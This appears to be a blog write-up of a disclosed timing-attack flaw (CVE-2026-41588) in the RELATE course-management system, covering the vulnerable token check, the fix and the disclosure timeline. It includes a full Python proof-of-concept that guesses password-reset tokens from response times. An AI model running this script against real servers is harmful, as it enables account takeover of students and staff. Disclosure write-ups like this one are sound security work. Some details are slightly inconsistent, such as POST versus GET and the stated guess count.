This article is about how I found my first real vulnerability starting from absolute zero. Technical details, PoC code, and the responsible disclosure process — all covered here.

Introduction

A few weeks ago I decided to learn how to find CVEs. I had no prior experience — just Python knowledge, a Linux terminal, and GitHub. This article is the result of that journey: CVE-2026-41588 — a critical timing attack vulnerability in RELATE, an open-source LMS platform.

What is RELATE?

RELATE (an Environment for Learning And TEaching) is a Django-based open-source course management system. It is used by universities and supports code questions, exams, grading, and git integration. It has 422 stars on GitHub and is actively maintained.

Technical Analysis

Vulnerable Code

Inside reset_password_stage2 in course/auth.py, the function check_sign_in_key():

def check_sign_in_key(user_id: int, token: str):
    user = get_user_model().objects.get(id=user_id)
    return user.sign_in_key == token  # ← PROBLEM IS HERE

Also in EmailedTokenBackend.authenticate():

def authenticate(self, request, user_id=None, token=None):
    users = get_user_model().objects.filter(
            id=user_id, sign_in_key=token)  # ← compared in DB

Why Is This a Problem?

Python's == operator stops string comparison at the first differing byte. This means:

"abc123" == "abc456"
         ^
         Stops here — 3 bytes compared
         
"abc123" == "xyz000"  
         ^
         Stops here — 0 bytes compared

An attacker can measure the server's response time to determine how many bytes are correct. This allows the token to be guessed byte by byte.

How Is the Token Generated?

def make_sign_in_key(user: User) -> str:
    import hashlib
    import random
    from time import time
    m = hashlib.sha1()                              # ← SHA1 (weak)
    m.update(user.email.encode("utf-8"))
    m.update(hex(random.getrandbits(128)).encode())
    m.update(str(time()).encode("utf-8"))
    return m.hexdigest()                            # 40 hex characters

The token is a 40-character hex string (SHA1 output). Normally brute-forcing it would require 16^40 attempts. But with a timing attack, this is reduced to 40 separate comparisons.

Attack Scenario

Attack Flow

Attacker                          Server
   |                                 |
   |--------- POST /reset/1/a... --> |
   |<-- 403 (t=0.0021s) ------------ |  ← "a" is wrong, fast response
   |                                 |
   |--------- POST /reset/1/f... --> |
   |<-- 403 (t=0.0024s) ------------ |  ← "f" slightly longer?
   |                                 |
   |--------- POST /reset/1/fa.. --> |
   |<-- 403 (t=0.0027s) ------------ |  ← yes, "fa" is correct!
   |                                 |
   ... (repeat until all 40 chars found)
   |                                 |
   |------ POST /reset/1/fa3c... --> |
   |<-- 302 REDIRECT --------------- |  ← FULL TOKEN FOUND!

Proof of Concept Code

import requests
import time
import statistics

TARGET = "http://relate.example.edu"
USER_ID = 1
HEX_CHARS = "0123456789abcdef"

def measure_response_time(token: str, samples: int = 10) -> float:
    times = []
    for _ in range(samples):
        url = f"{TARGET}/reset-password/stage2/{USER_ID}/{token}/"
        start = time.perf_counter()
        requests.get(url)
        elapsed = time.perf_counter() - start
        times.append(elapsed)
    return statistics.median(times)

def find_token_char(known_prefix: str) -> str:
    results = {}
    for c in HEX_CHARS:
        candidate = known_prefix + c + "a" * (39 - len(known_prefix))
        t = measure_response_time(candidate)
        results[c] = t
        print(f"  '{known_prefix + c}': {t:.6f}s")
    
    # The character with the longest response time is correct
    return max(results, key=results.get)

def attack():
    known = ""
    while len(known) < 40:
        print(f"\n[*] Finding character {len(known)+1}/40...")
        char = find_token_char(known)
        known += char
        print(f"[+] Found so far: {known}")
    
    return known

token = attack()
print(f"\n[!] Token found: {token}")

The Fix

The maintainer applied the following patch:

import secrets

def check_sign_in_key(user_id: int, token: str):
    user = cast("User", get_user_model().objects.get(id=user_id))
    if user.sign_in_key is None:
        return False
    # Constant-time comparison — timing attack not possible
    return secrets.compare_digest(user.sign_in_key, token)

Two things were fixed here. First, secrets.compare_digest() replaces == — it always runs in constant time regardless of the result, making timing attacks impossible. Second, the None check was added to prevent a TypeError if sign_in_key has already been consumed.

Note: secrets.compare_digest() and hmac.compare_digest() are functionally identical — the secrets version is simply a wrapper. However, secrets is semantically more appropriate since the module is specifically designed for cryptographic operations.

Impact

This vulnerability allows an attacker to:

  • Account takeover — gain access to any user's account
  • Password reset bypass — before the token expires
  • Privilege escalation — access instructor/admin accounts
  • Data exfiltration — course data, student submissions

CVSS v3.1 Score: Critical

AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Responsible Disclosure Timeline

Apr 15, 2026  — Vulnerability discovered
Apr 15, 2026  — GitHub Security Advisory submitted
Apr 16, 2026  — Maintainer responded
Apr 18, 2026  — Fix applied (commit: 2f68e16)
Apr 18, 2026  — CVE-2026-41588 assigned
Apr 23, 2026  — Public disclosure

The maintainer handled everything professionally — responded within 24 hours and applied a fix immediately.

What I Learned

Technical lessons:

  • Never compare strings with == in security contexts — always use hmac.compare_digest()
  • SHA1 is no longer recommended for security-critical use cases
  • The secrets module is a better choice for generating cryptographic tokens

Process lessons:

  • Automated scanners (bandit) can provide a starting point, but manual analysis is essential
  • Writing a PoC is required to prove the real-world exploitability of a vulnerability
  • Responsible disclosure is beneficial for everyone involved

Conclusion

Starting from scratch, I found a real CVE within the first week. This shows that anyone with basic knowledge can do it. Open-source codebases are a large attack surface — with the right target selection and methodical analysis, finding vulnerabilities is achievable.